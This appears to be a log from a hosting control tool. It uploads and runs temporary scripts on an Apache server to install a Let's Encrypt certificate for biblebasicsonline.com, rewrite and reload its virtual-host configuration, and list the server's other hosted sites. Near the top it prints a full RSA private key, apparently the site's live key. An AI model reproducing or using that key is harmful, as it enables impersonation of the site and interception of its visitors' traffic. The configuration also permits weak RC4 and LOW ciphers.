MIIFHzCCBAegAwIBAgISBYTdK+3119D7XsF4jjNnyn9CMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMTU0WhcNMjYwODIyMDUwMTUzWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCb7b6v0poC0tc6R0SBHkkRz7xy+j4BRIHQrfzPryjuEHMB2t7wpXrB
cmWzqsBTBWgBvUUNrF7P1IcVY1N5BEYAmzVenXuX/44giLRY+SioliVLQXxyQLGJ
/yaaz0BI+5mcfzpRun6QnSbgI831sk2V7A/e7U05AUk4q8zvVSv8YxXotA7MAcfW
0kEqBefy/jz1VpGIass+FP1jfoftbgc6CV9KtFzmgeNV0JXFhE+g6x5eVZgzejGI
81gFpFvpbebY/Zf8oSxgQqTadUgsoKn9PaZqzzmsbSKcaqPknmlzj4xy9dDg9JLn
Ex4CEvGFQhjySqp/oU27Lt/UTOIYvSupAgMBAAGjggI+MIICOjAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQU27Jb4ezXs2I6XgHI1dfkABRM7TUwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzA7BgNVHREENDAyghViaWJsZWJhc2ljc29ubGluZS5jb22C
GXd3dy5iaWJsZWJhc2ljc29ubGluZS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy82Ny5jcmww
ggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDYCVU7lE96/8gWGW+UT4WrsPj8XodV
Jg8V0S5yu0VLFAAAAZ5YkgJVAAAEAwBHMEUCIQDdZSvv/MiCgwkLYdf9658dvLDy
mT3Q+zj+NEBeEZ2zTQIgJNq8ZZ3BUscWSnrSnOos5CRAB7IV6R3FxblivatGKWkA
fgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ5YkgVyAAgAAAUA
DQs6jwQDAEcwRQIgBoZR+WF626kAGQI8q5Dzv16Jou26MgF5U60YW//P8GECIQDx
KFtzAp/rW/8bOejQrHqQEqfFFHLoI63DhO/7BX+LNDANBgkqhkiG9w0BAQsFAAOC
AQEAFLgrhhuj1rSzV82/rydOlFRWT/Xxc+/m5Vg0ivE4VFnjOSyUbf6rmCgDZZxH
LyMZroRV+a/JLTvrJ0uOyIdzCF0HPLptpqJlrqhsiCmOYAjceMoFMxMgDhyM/vcu
g90eRTw/bvzcXNntCLp0ELygvghYfStzt0q1WsBduMaa+wNxz4oOWfup66tUjpi8
M3DKuHGoRVfLBlPiE208qcNhUCv4O6RM/rxc/qS5ndbq/XHDP69Ejoz6G5LbwCcg
1qIzhSsY6qdBHda5+Hv+15NaLvxgWuGxsKwqnGPDp04cqt293k/PswlZsO4hNZ4M
DtNOpcLh9HQxbPZGpl0gFUibQw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCb7b6v0poC0tc6
R0SBHkkRz7xy+j4BRIHQrfzPryjuEHMB2t7wpXrBcmWzqsBTBWgBvUUNrF7P1IcV
Y1N5BEYAmzVenXuX/44giLRY+SioliVLQXxyQLGJ/yaaz0BI+5mcfzpRun6QnSbg
I831sk2V7A/e7U05AUk4q8zvVSv8YxXotA7MAcfW0kEqBefy/jz1VpGIass+FP1j
foftbgc6CV9KtFzmgeNV0JXFhE+g6x5eVZgzejGI81gFpFvpbebY/Zf8oSxgQqTa
dUgsoKn9PaZqzzmsbSKcaqPknmlzj4xy9dDg9JLnEx4CEvGFQhjySqp/oU27Lt/U
TOIYvSupAgMBAAECggEAFzPRZChacoEdNbbVIsF27geTayiBgX7IMl0xeVX/KS2Z
b3U6J2T4V0DGkW2fILt1No0LcXVsxlBBqZUWHrPcFssBrgqREZUdeQnejD7HJg7x
jbk442dtA7PL8s1UK4gE25yy+OZfXvWDi2bIhv75PI3b7rgw/YKLertVy2dJHE0G
tk4wiJvQ6CI4nKEni/ZVWR/HzLAoDtLzymb0nI58jiizz8ycw7g1RYGh2uUMLp+I
KmRFsGNryuD/7BLwBSys8W0CoRfWp/yEHZYsblSE6XA69gjR1gZEJlYJIEkf3aUp
tKPqJyrm7aeKSHaWKb+CkB4ephyP9yv459rc8N9H4QKBgQDRlvSymjDIkqPVhgxU
sv1ZhHec0zvIlclvuD4Rbw0TM67OFaKfJtgnh3+Jj5gloMZ0bxNxthMEYnv1I5qG
LmN8aZLWiOjck2ISCdqgWlTJ1M9i/N4rmTHYW7ItxSYX66C6X1R26EPdvqDfXefs
7xF780Q51lWlrLN8ozolrnmBfwKBgQC+dOZzvz9r8mfxcigWXu4pztHpQAAN0Iml
rejqU3SqMKMtpnZs4wYceD30Jp7nwGnJziutZxzvCE8zf3gxFM0Jq9kdEL3HTLBf
ukh9SBYHRegppN1RTt8KFFn4yscRTP+jaFN4V3s0nk0TK2P3WO23rVBlNbTryovE
HXGIp6+W1wKBgHTZjo9Mu8n3R3QyCgnmyKzx16YNdpU8PVQWCjS6DzYXaGvpUAMf
Kv/O4WIWNqMz4bDkhJivBCc7qRRgxzPsBPdF/OGy7vCbEuAvsj4YXpEwHnd3t33j
KREQ/mPaOIS5j6CYqYSptbyZHSOrPTSxjLPoSq9cOd/mSyM/9ZkwjvmNAoGBALM1
CArtb13BL7Due23hUTQhmT5irCpTiNFOfJTQhjwFm+U+drwqOfvb4F+1X1wtntz2
k/6LwZvhM7T/Qjbcnbl168r/j7LSJDtO6xqHE8MwMi3NJTp2fkPbtnT1SK6sxvYZ
GkFn/1QZh+h7sYpyMOvdtoIlMOGVKkIUelndfsjtAoGAdHf17pwRls4t7vsmMabo
lp+NyStjfcfsMXktgTCAkzZrz6fGeqUeN/VR7BmY/8NP8gPGGVP1DtaQFFDHpw1/
NQFEq5JdKBSHRpLoZo/4QOm0COMOMIR9ZjOYgUtr69AiD9S764QqmSvYA1VhBaet
tHg7uAooR4V/WlHUn9AHzg8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-24 06:00:26: 

chmod 755 /tmp/pkp334092; /tmp/pkp334092; rm /tmp/pkp334092

2026-05-24 06:00:26: 


dir=/etc/ssl/certs


2026-05-24 06:00:26: 

PUT: /tmp/pkp445347

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-24 06:00:26: 

chmod 755 /tmp/pkp445347; /tmp/pkp445347; rm /tmp/pkp445347

2026-05-24 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 49

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-24 06:00:26: 

PUT: /tmp/pkp808612

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=biblebasicsonline_www_com.conf
TARGET=/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf= 1'
fi


2026-05-24 06:00:26: 

chmod 755 /tmp/pkp808612; /tmp/pkp808612; rm /tmp/pkp808612

2026-05-24 06:00:26: 




2026-05-24 06:00:26: 

PUT: /tmp/pkp773415

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-24 06:00:26: 

chmod 755 /tmp/pkp773415; /tmp/pkp773415; rm /tmp/pkp773415

2026-05-24 06:00:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:00:26: Establishing a connection
2026-05-24 06:00:26: 

PUT: /tmp/pkp657012

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 06:00:26: 

chmod 755 /tmp/pkp657012; /tmp/pkp657012; rm /tmp/pkp657012

2026-05-24 06:00:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:00:26: 

PUT: /tmp/pkp236788

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:00:26: 

chmod 755 /tmp/pkp236788; /tmp/pkp236788; rm /tmp/pkp236788

2026-05-24 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf	1467

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-24 06:00:26: 

PUT: /tmp/pkp220386

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:00:26: 

chmod 755 /tmp/pkp220386; /tmp/pkp220386; rm /tmp/pkp220386

2026-05-24 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt	5401
dc:65:4e:16:82:d7:ca:6f:ae:05:a8:10:b8:aa:42:1f

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBYTdK+3119D7XsF4jjNnyn9CMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMTU0WhcNMjYwODIyMDUwMTUzWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCb7b6v0poC0tc6R0SBHkkRz7xy+j4BRIHQrfzPryjuEHMB2t7wpXrB
cmWzqsBTBWgBvUUNrF7P1IcVY1N5BEYAmzVenXuX/44giLRY+SioliVLQXxyQLGJ
/yaaz0BI+5mcfzpRun6QnSbgI831sk2V7A/e7U05AUk4q8zvVSv8YxXotA7MAcfW
0kEqBefy/jz1VpGIass+FP1jfoftbgc6CV9KtFzmgeNV0JXFhE+g6x5eVZgzejGI
81gFpFvpbebY/Zf8oSxgQqTadUgsoKn9PaZqzzmsbSKcaqPknmlzj4xy9dDg9JLn
Ex4CEvGFQhjySqp/oU27Lt/UTOIYvSupAgMBAAGjggI+MIICOjAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQU27Jb4ezXs2I6XgHI1dfkABRM7TUwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzA7BgNVHREENDAyghViaWJsZWJhc2ljc29ubGluZS5jb22C
GXd3dy5iaWJsZWJhc2ljc29ubGluZS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy82Ny5jcmww
